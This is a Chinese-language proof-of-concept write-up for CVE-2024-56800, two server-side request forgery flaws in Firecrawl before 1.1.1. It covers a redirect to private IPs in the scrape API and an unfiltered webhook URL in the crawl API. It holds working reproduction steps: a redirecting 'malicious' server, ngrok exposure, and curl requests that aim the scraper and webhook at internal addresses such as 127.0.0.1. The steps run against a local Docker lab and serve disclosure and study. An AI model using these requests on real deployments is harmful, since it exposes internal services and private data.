https://nvd.nist.gov/vuln/detail/CVE-2024-56800
https://github.com/firecrawl/firecrawl/commit/4d1f92f4c8c36403022428285a03621fd90d62ec
https://github.com/firecrawl/firecrawl/security/advisories/GHSA-vjp8-2wgg-p734
Firecrawl 是一个网页爬虫,允许用户提取网页内容。 1.1.1 之前的版本存在服务器端请求伪造(SSRF)漏洞。 爬虫引擎接受网站重定向到任何本地 IP 地址,导致私有服务器资源泄露。
该漏洞位于 apps/api/src/controllers/v1/scrape.ts
用户输入未经过滤,允许使用私有 IP 地址。当使用 127.0.0.1 时,实际上会重定向到 firecrawl 的本地网络,从而泄露 firecrawl 服务器的内部资源。
git clone https://github.com/cyhe50/cve-2024-56800-poc
cd cve-2024-56800-poc
cd scraper/firecrawl-1.0.0
docker-compose up -d
cd ../..
cd malicious_server
docker build -t malicious_server .
docker run -p 8000:80 malicious_server
原因是 firecrawl 服务器会阻止私有 URL。 如果您不想公开服务器,我相信您可以直接在 firecrawl 中注释掉验证逻辑。
这里我只写下我的做法。 ngrok:
ngrok http 8000
curl:(记得粘贴正确的 URL)
curl -X POST http://localhost:3002/v1/scrape \
-H 'Content-Type: application/json' \
-d '{
"url": "https://xxxxx.ngrok-free.app",
"formats": ["markdown", "html"]
}'
scraper.py
cd scraper
!!打开 Dockerfile 并将 URL 更改为您刚刚生成的 URL
docker build -t scraper .
docker run scraper
启动自托管的 firecrawl 服务器时,会启用 5 个服务,其中之一是 firecrawl-test-1(更多详情请运行 docker ps)。
由于这 5 个服务都设置在同一个网络中,它们可以通过容器名称相互连接。
例如:(连接到 firecrawl-test-1)
在本地机器上直接运行 curl:
curl http://firecrawl-test-1:80
或
curl http://localhost:80
这些都不应该成功,因为它们与 firecrawl-test-1 不在同一个网络中。
然而,在 firecrawl-api-1 内部访问:
docker exec -it firecrawl-api-1 /bin/bash
curl http:firecrawl-test-1:80
或
curl http://localhost:80
这应该会输出正确的数据,因为它们在同一网络中。
在恶意服务器中,它会重定向到 http://firecrawl-test-1:80,该地址只应在 firecrawl 网络中有效。
因此,成功访问 firecrawl-test-1 服务器意味着爬虫成功重定向到了其内部服务器。
这展示了 SSRF 如何导致私有服务器资源泄露。
这也是 SSRF 漏洞。
该漏洞出现在爬虫 API 中,参数 webhook 未经过滤,攻击者可以向 firecrawl 的本地网络发送 POST 请求。
漏洞位于 apps/api/src/services/webhook.ts。问题在于输入 webhookUrl 未经过滤。
webhook 会向指定的 URL 发送 POST 请求。这里我们将其设置为 127.0.0.1,并成功连接到了内部服务器。
curl -X POST http://localhost:3002/v1/crawl \
-H 'Content-Type: application/json' \
-d '{
"url": "https://example.com",
"webhook": "http://127.0.0.1:80"
}'
内部服务器成功接收到了 POST 请求。
![]()